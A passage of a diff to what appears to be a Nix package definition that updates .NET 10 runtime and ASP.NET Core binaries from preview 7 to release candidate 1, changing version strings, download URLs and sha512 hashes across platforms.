+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-7uMe/dvlcUoQbQ4U4V1esj2kdzR+d2G1IDqW7PEO46Je7alN9dGCaFjrYfg4H16g2p/nkguqregXXt51Nv2Tog==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-musl-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-ewu+rh/Kky08pqSvyC33WsqopzmUojhx4NZRn5bFF3pcO0xbdhOEBuZR8ZQspXA2tuKL/n9bAKWDIPsVdDMdyg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-65sKH2vG/00xutyEIPB9exGkhpG4cwlYvkty6AdI/2g7Zvfke5WT2UW2aME9vVEmB4Zn+gNDTaRjRyFVK3n7SQ==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-8r/yMsXff3vlFUaRzlHKnkd/qxmbo6FzATU4d065j8YTNZcduF/uKiOKijwXSd96nj216RjCUIJWrcH72c5H6Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-wAhZFtY3E/JEIfkGdX/P2MzYj09G1tDrPi4+zaCxFjXzgcxfU6vLPNzaR/EMQb82ibluhiriFTG1aeCJBd2qpQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-D6qubx3bzbfdDMJw1CcUJdPR2w2oHmOt/ur4q4Pi8cdFueROux3u2bcuurKmx2eZvHhYVKnL1njTxWDVHUM1OA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-ALDcdrSuoBXDekpuPy3J+RS8vu6d3vt5HTaZkfT6VpJGotv9qq7cvm6kZ10VfFmZ//UbC8LibDsJk/jbzGf0LA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-neXYzUGCn4zBhHa4+9NgG6c0ulwsfGczrrH2hqJcwf16fNtBgfe9L+JnwRctrVVe7iOci/qYh69c36OlCsREug==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-2MkZiOoWMIBfx1a/lN3Yz4qWszpjkynS6LR4nT89uCjk4riE+xpx2JQb5FDxVfxLFBoYlis4wyMmSrqLSd1pMQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-D8SDjyznO8H+3w5eAuL1pl+JZ+4S8eXM8gIMuNaDXvBZv43lU2by27Gk+Ue4eH5zV+462fBtBvqZtaETgfPsgQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-7x0L8WWLcShkEROnccmVsvAEB11yfvV21lngDLlgWPKH7b/YBHjziS4rlN6pzuA1xozViQkUByyiRaMIwRm4iA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-musl-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-zPgYi5k0qLWv1+BGxMmZnNplAa6tAnTpibzsSQTCcSmLJfazFww4sRI4qFYZ+H8/Tc1jVyIPHu3whUL3UirX+w==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-kl/eWcRGhOnIFhwPexi0qRLw2x/hV7SNkX9FyasNUkYi/6HwMOBViB7RnZe1iV4NRZF6153Nv7Z949/DkUFb2A==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-vk6trHjpJkCveABOceuodbxeAefojPqaUCGwU6HXinNgu281I/iEF7Afj6mJBLHxaPcvlFQjAjbRhll1SwcSNw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-LNwqyHG1K2o2olSjErf8m+O6vxh3iPHLu05s4GRDYjyUz5uaunEwKVi3m7Nj3EmlQdxnfrpoLH3cfXuA7/mNsg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-r1LB1Ilq1/Pf71SubpoHU53s5bjfHY/TLQUhG2R3AGFMe1S2J6H35pkXuCdwBH+x99AX4khX1zw00BCYP5liVQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-1YxkbUSrVZXo2IXlIrB0z3B0wrkHtgIcVn1M+7b7qM0Si9KGFkZzsI7T2X7CQwW01jpRbv1NcQW8A528i1DOWw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-ovDMqhvYv4o6P/AjvAh26EcSs6auYHe4YBgWF7SBLgB/r1xOvjlRZRuVL7znu/js0CwTH7h8w/YvW+q1+Tzw/A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Z5Rhv4e0FljV3m+w4F0Ek4SMuRMpvDs/tsrYmwZboj7KAECrQ7PXWee93FbcecK6Tu64ZtvsU8fkWmffRqfp+Q==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-K7jCpNm0lYr/dHheLoaPadsd9q8oQ0X+iK/rJkeKrZ76FLzAvcC1FqX9yXICwAW44m63bXcmg0ggra1+yXx0/Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-McSCf7ELjtNy6gbV2EFU+D1XEi7lw1xI2eqv8VGqX8FyOHlC1nofhyb0PLd7OQLelQpR9Xajv1JuhzUtPkhgPg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.osx-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-HAloa6WZYn4LvTyANZMWs9l5q8NR0Bqvs7pGKKarpE2JnmlH7R371+nMg20Ejxw9UYp0SNNZ775dw83G/WX/oA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-RmJ88+HJ9AqPIMwIlJs/Qujmab64997iyQ3kKdORrFIezKd85+zKgHbnM+CUbxAzqpBNufECmhWm7oXMjyoPTw==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-R7g8lya69aqDY/iAIIoX8TnbxEJxBIxvuqD0zrcEuJgRh33b2xys9OAT2NmyZH3GWdTZ5UPiolJ2SifKNE1ztQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-ORvugqCwtaRhQ1T9v9LPNI1TO0R3WUYsCyHPU+eBSmoesTql5/I6fEVqyuRrKGf94PlJAyY2w6tSeluV45B9ow==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-tPbKNB5TVRIAHyts6RMV2AP7pnmO/1MRtfTByCqTkTjH945dJ8+2r4ytMIoQ3ooVLi00yll9w2tDL+XnuNT3xw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-sK/K13o1GY/6MWR0ZrqhhnG9wXtZSISTSXOo8hA/SL/OXEyucXlXyxgXaF5bGtwnUjgibObA5B+4Z8RJlMal0A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-W18K405wGThiTnn12Mi0K6KXznjPZX87mX9APiq+nbKIsMmGC+r7cyIPgy9hmggnTb3qqv1p/0PACRD6NXm0CQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-um50+EJ40pHY1ufx5lcVPWjl5eWfHF8Jg/d90XMRD69R1DJ8oOhPTWYSlia6F1AWyW/DQ/ncf4SphUzLNFpdOA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-K7fKG8YuufAgq6VcvotJH/D4uHmcjg/X9TwWq8EmbyysqyNCuMkg6a1torpyaomdooKSZ0LSOodqbo57B6jERg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-0OuXkUPLTxK9aOijYilEOvJI/wAA9ohXy7Y10tRwaNX70oNkUA8C5VUuW1rrdMqhrGk1tLaE98DrN9IXXyP3ag==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.osx-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-AAcenMQyUXqNewaFwVv74m4OyOy4DH/seZDjjmMtE6BcYchYlWjJjU7Dh7lR3qk1KFuRBdeIvLHpGUZS0+GcqQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-B8T4TBq/pkJxzqC/GgJ4UmV1xEeMsLjnnyeaFWXfN06HGrlIumFLR0GQu5PFmwEDjgS9m+sJ1m2CYP3FGAeaRA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-alvGXGuLfWb35dOybu83zGbH9VyIJRf17FEhF6yrNGvg8gJ3SwpU/N2uGnuxI1TIb8dFlKq3FoE2hqfxWAERKA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-46d5U65sw8Qr2qXegWUtZ822g+AYLGMNo+BVKnU8xZQNyom7Kib0bFHnqJ2b0vQtYP/Z0tEhOvKc7cwu1Yox4g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-8345qvf7b3Q8hoqXErpJTWQeLmBV3GFUNa/hp8eCglnY5WWbnfd/muQAdA5zUoOX/8fMA4TILhZx2K0M8k1/mw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-RdNmEOu3U0aPwLKL0mTo48/Ou9RBg/3lVcp21iVQyqDmqRBJSSWnxzPwqQURUvY8GbYb//gSezJYBll4BgqgRg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-um95x3i3Jdyat4T6HTXP9I0STmsqJyuTWmZwCg/5EPNWMX1fm/OIFIoUQ9lX2kplPyq6Ys0hmiBaVcHOHGThgw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-yDZ/fSQckLPS0rsYRBMIgAMcm1ZJspToWoHrM2OuMjkoZU8JPGebekOAmW19EsAz9NzEiVoAae4vOVCQSQEWAA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-LneCr0cNCIEYVfDI2Ab++j+baaKut+pqTsCb3R9FAp9pqYVXveSEXn8V4xx+N0i//SQx4i9Dkd+oYGERun9k2A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-OEb/13XW+yXDYWTZIV9qspJ/ahWY5j7UdJo+vuwW6VOxHv234ZHHh9jV6jQxFxkipaq7FgtWXUqk4oBDGVF7/g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.win-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-xgYN99ynL4a37SaZebTPpeiui+2OVxCHFfPrW5vBoqoHLvAxhM67ZpqAY3zQELjS4Kb0ZxsLfOS4OPFKbcweSA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Le2dxO6rTOvCVdWoITiMzo9H8oTWqyOHW+dvU6dXNVVNHnM3N40ppXKaDjA7jhFc0kJUjrTj2anQcdSFdmgUzA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-xr4GBhH7aIMfPXjv+CuGZI3h1PZc+yETwn3/9UMOXXNxgM1zrkCR1p4I8rQNpwVPd440P8pReq2AWrdbLX7kTQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-G9CQRcLF8jfnqWkqXdrVTGO9Z5Jie4HTJZ0MUJl9wlIbKT+U2gPQq0PPEHOtPkbuQuJHyxFg/v/i9Dy8/v41QA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-slvRNr3ZPyyGLrOFEPVF91TD6BJcC7/UKrowVg0XGq37IxTeicrNLhs7PE8qmVGBgUTiKcqxEU7DXI2/qBh9nA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-GHAP5bqAaWMg5SlrQNPJxSsCKM7Wc8JfFBDxJKdwBFe+zb7WHJdk4cNftM2HKlM9aFaljKVx5zyLuky1yI8fTw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-1JBZRsQMZ4mCN0rS+F6wwP7s7+es+uwx6hG9ubUuccJYjCEAWwDg3vBVAbQqwMOF9rdbqOLFbkbvawOT7BHAaw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-grvZytFhVIuIOicS6Fdbf2YMqZ7rZ8TbIac4MBeDDlTWkCO62EbL+lUZbUStHnmnDdOnkOa2OtNsuCQCKr5ftQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-8fiTrOmlVMojv2oFxSO4zKP0Mz+3HazxfqBFBbgioN+/dMNiCa6ql3Sm0kp88Qmfcb68PwhWCJLy3x3XHLEUuA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-EciQy/vlJDOXBDDvCiMfwdRmrqL8p6K5DahT3cjJ5R2g0vVDQ9M3oEUqjQhqIhNZddL3EVqaAIr/JVk9DW4NXQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.win-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-m4+5c4eH8FsloMih4Pl/Fuf5dVljpTasP7wzRjn5UAt2M7RdQC5DbC3ZZDTuDSIwuDVKXoLzUbDV6ui5SBJ0mA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-lBu7jV6lNTX2YJ+sNh25yvQh/15zw1vrzMZy7zypuXi7dwy4TNCf1AyJzc4YYTpkVAsQLStEofQhZ8acNweY6g==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-t0G1lpmSy3Bb/0k4riHo+oT2h53IbHHC92oy3Mnxg2Nm/ZBoGDW55/maB5lF+IbEoNsScpAhsFNf7gAv5KPOhw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-c1BeA+VI35IumWblDAB7kXHPTWA/CBexyySFbT5MizGa8tcjL3RPr5sYctyAN3wQ+bt47X1XpWxibBzERXj6qA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-Xgu9wAHojyPC6/9OhNk4Bpmhmb4FAcJMMb3S7xwwPFuEx7pKSCPOA/3Gv/8xR3w3lYoMhvs94Jn4zzLPw/d46A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Pa2P9F6OZ8GTmGk4hPqBq0av9r11gicHEteG0l8tV+8vpvbcwFGDS04dYJkDehoCMhyDpVI1N1h2oEzN62bSGg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-FDFqh+DYEYnPZjLzODbygevvyrQH15WVg/pcDbiFlE0dsoL7LQ3ST3G6Vz5GfpAZyO0A8O7ekGOH81+wskmeiw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Z2Hcf39NRB0bZwVZ5y3Wf8ETRkGCxkCjh9VpNlHUctWxYzGkGi9/Rei6wJNVh/XT1zhyN5eh3uH8SukbfCErzg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-npZ0pXzs+1mOb/G8asxE4QYUrrQlvuVjO24sgaqgQ/o8Ir3m1jTxXhETRj7IXKiPiVMIaLPV+c3XtpdDKouH9A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-mzXyLP0VOi4QTII1lfVoDx/vZ/1SQD+cDsjjcNDdPLr3ufptEg2j2SAFnvKyurOnzlbnZdO1ogip0VLGYUFnyw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.win-x86";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-7mbJh2PmKeWmniK6eOPGC1RZ5MGgLzf4czbisbCrCvw/wS/TXlq3kfkmT8sU+jjQQvutRbNXCES8HYK4vuVaog==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-7vF41HU0xbpHBA7IX3Fs0HtKOgtXplTIkPWJ1FOpDxjH/R6xPCWxv8sRUNeh8SGhs7mGpf7rwcDGIEIapVLcBQ==";
       })
     ];
   };
 
 in
 rec {
-  release_10_0 = "10.0.0-preview.7";
+  release_10_0 = "10.0.0-rc.1";
 
   aspnetcore_10_0 = buildAspNetCore {
-    version = "10.0.0-preview.7.25380.108";
+    version = "10.0.0-rc.1.25451.107";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-arm.tar.gz";
-        hash = "sha512-lXwjay3tSsk2fperQsxjo28PeydYBQA552QN/aOCTlpl6/LTB2L8diIqgdGUpJ593riZcUo3vCjbZwjY1bGC7Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-arm.tar.gz";
+        hash = "sha512-gQWKGGYpZ+glr9syJBA/2xEc4cD8MDCFfGLMStHHAW9JdH1zPXWM4eyoAXLeJmyBEmr4mB6+HA1d9yZGZPm2eg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-arm64.tar.gz";
-        hash = "sha512-gTWO1Grf/RpOLglePSPWfR0ommxMUKsg4ecRYbKCPIxE3VpsJBrJs/zUoq9Rjb/7zNt7Os0HpCr5/yTF/WLGow==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-arm64.tar.gz";
+        hash = "sha512-vYa6xIQFCE/sthAmDmCh9kXeRV368gjK7JdxrxYP0de9yZpKH4gWnBzvdZVTbVXcVxRyynoVkoJx1ArkX97e+g==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-x64.tar.gz";
-        hash = "sha512-9onzhvf6Vrm1O9fVEKvs8rnCI1j7KTZ4RsI/u6ewphpH2G287vlrc6corwduVcNGg4SXQC4M2AuGldncHqPCuQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-x64.tar.gz";
+        hash = "sha512-0iGYUMq3POvjYlo+UyHGfikh07/vtsI4BEoh2KlcoHynMVB7p8AnqLA/6O66fyPY2ITTTwJDfWpYMEI0hAU9cA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-arm.tar.gz";
-        hash = "sha512-uJ0bnKWphyzzZ3dKLKUVKkLtht7MGMWTsQSINGPOXPrKamn5F0SaArTSXqQVj4IqNqwNZVxTjBhOR611EYbs2w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-musl-arm.tar.gz";
+        hash = "sha512-AGgWPjB0ejP5EVLthi8okS/4A9rxK9kVpS/rL/0GqLFTwMidnbllZ0oR/9ct8rE8uikSTCqXkL3jjWDelxrNeg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-arm64.tar.gz";
-        hash = "sha512-cAY0HJWlGRCm7gLVgemkHXZGSn777QrXedDmT8DXfEK70jNTf1fXb28P2zh/biVZK6UzYmcKXm7+1ho3TkIc7A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-musl-arm64.tar.gz";
+        hash = "sha512-0w4mUoypPzUn81NduD4eGazxLXhwj0si9c4pdTS0fYMHqeNGpYgqrxWfpzuATN9x9cWeLtOUjKuu1cc3kQr7NQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-x64.tar.gz";
-        hash = "sha512-wRf0SCHNbFWna7nr/HRlYG04rInIEO4iSys6D/T1q/Ld27sZVoOeZyrrpPlR3wtax/GTXSqQttTc3cEep8M7UQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-musl-x64.tar.gz";
+        hash = "sha512-hs//dBAVHciEJ9C5x5UZTnnYE5Ya+SoCYE3UenPIemLMtsvf1m7824oQlu59FTjFNfgBbXZ6Gbz3jM26vs8X4A==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-osx-arm64.tar.gz";
-        hash = "sha512-D5iye4E6etLrWkCOe9sf/97fheARsEmF6QCV3ikW2qTDQhSsPPmgZvSbPn7gnVbXP56aGFjHHv+JAMxBRf0yVQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-osx-arm64.tar.gz";
+        hash = "sha512-4erPMY9DFFB8uXn7jw7ldK1FCumPa+K8CzXcSt+EeKq0vs1q98DSrFaCundnoRkKT7X8mze2a1rTYmBt2YGk1g==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-osx-x64.tar.gz";
-        hash = "sha512-FQLipaTYahQwhA2TGknRX/07ZEZeV9IdcURItxlpz7zmU4LvgoJg8Wlt1GxAnzwD9riuenLlFWe0RMoQuoreoA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-osx-x64.tar.gz";
+        hash = "sha512-XWSTyx94DCBb0hjJmQ7p6KvES8gdho0ZYEbWj/MN8LcHJe/67i7jez6CrnW7DRoUtWwKOWQreubQp1LGvJ6piw==";
       };
     };
   };
 
   runtime_10_0 = buildNetRuntime {
-    version = "10.0.0-preview.7.25380.108";
+    version = "10.0.0-rc.1.25451.107";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-arm.tar.gz";
-        hash = "sha512-oyaRhovGFTGjL6O78RNBZGrFFBasUvaACTxXfTO2ODBqJqCjJ5poaoZUPg8v3MoOegfzYIF5UpRdybRt4pyXCQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-arm.tar.gz";
+        hash = "sha512-k5DvoQVATX3xd52jDNO5Ufta5oFU4dzqKA9BclduVGpOJuEWgqgHi4N+CWWoDgbqxdrLtWzXBFpEzP65AdJisw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-arm64.tar.gz";
-        hash = "sha512-tTAequEUCb2/MZg7xpk39w3RezVe84D0yrMX6SHl1mFiZCzVfRmhT7ug78CadjNcbl8u6ZimDErHYssXJR04QA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-arm64.tar.gz";
+        hash = "sha512-jXbk5mWvff26Xkoxy28buxh7wrm43lZe9e1xV2ja6FkSMEKvezhHZAltDLiaPWCfnkm8J8Ip0sEWVM1IiJYmPw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-x64.tar.gz";
-        hash = "sha512-EnSHIJyzxKOUhHzO1aFduMW2bJOGboi0pweJ6iyQtB4pk+ANkZLUupiPM928iaXKL+TxmmEdftitjD4KRpLFAQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-x64.tar.gz";
+        hash = "sha512-v2t/ca+OsG6guof80owXgiLQ/JOlscqTZgA8JPyvvcSXs4gJ5DEKl7+wT9J6C26JLnbo1AP2AY1vyViMajgXDw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-arm.tar.gz";
-        hash = "sha512-aCCXjXxzep/7Pj9IGsDDAm3FRsH0JzlqgwkCdTiwhu+QEHHiKiCJt3ivXlG8aJpEFCAs79lgkc0zAVtQ9+GtHA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-musl-arm.tar.gz";
+        hash = "sha512-GXH4Fi6PENK4qKMT7s1BgF00kdKHLGIrzxhdnBf+ghg3CvAhkg0AKXnOa7EEO/eg2RPi8nNG1kveoXxJmTWVIg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-arm64.tar.gz";
-        hash = "sha512-xJAlZHKLkx0jIHojHNSUZCKvqtFQjpGMISfcgjbc/yqVNXQQ4vC61bLYcZxkFMIJLQk4DDrnAVG1kgoyuzOHzw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-musl-arm64.tar.gz";
+        hash = "sha512-KU3/OCc6q1Muqu15ATmRJQkGEvIfjC45OIXGG2Saq/WkzLhQ2GYvBI1aIfNb8wArA+AcVJd0d6NRkAhKbtJfWQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-x64.tar.gz";
-        hash = "sha512-wCfUh5zikKE4NaJWtYraqu2hdvCYgsej42+w4ik7Qo7/U+YhpHj+xF2SjxeL3VLn9KK03p4C0gSUxLmSXMtkBg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-musl-x64.tar.gz";
+        hash = "sha512-FHVFTKpRnNOvpr+3qVF1B8SRTFPQp5KO9/XTQqVr2jUaUL3ClCT648tezazSPX7zwYfdx5kyzKRjm5qkMbElbQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-osx-arm64.tar.gz";
-        hash = "sha512-72B+c82XraPNoxoMvqVWzWBAmiYSqUEnJxub+SXhLfhM97MmsLXt3s07rON/1vpwENSHzdxcIyR0Xe2W+LymAA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-osx-arm64.tar.gz";
+        hash = "sha512-2faVsHe0g93Wririe3Hn3hY5sR+jGQVIKhvJdXSHrNVL9qR4FrAkQVjZG3ZCPFQsaiguR3BaFFJXYergsvpQRw==";
       };
       osx-x64 = {
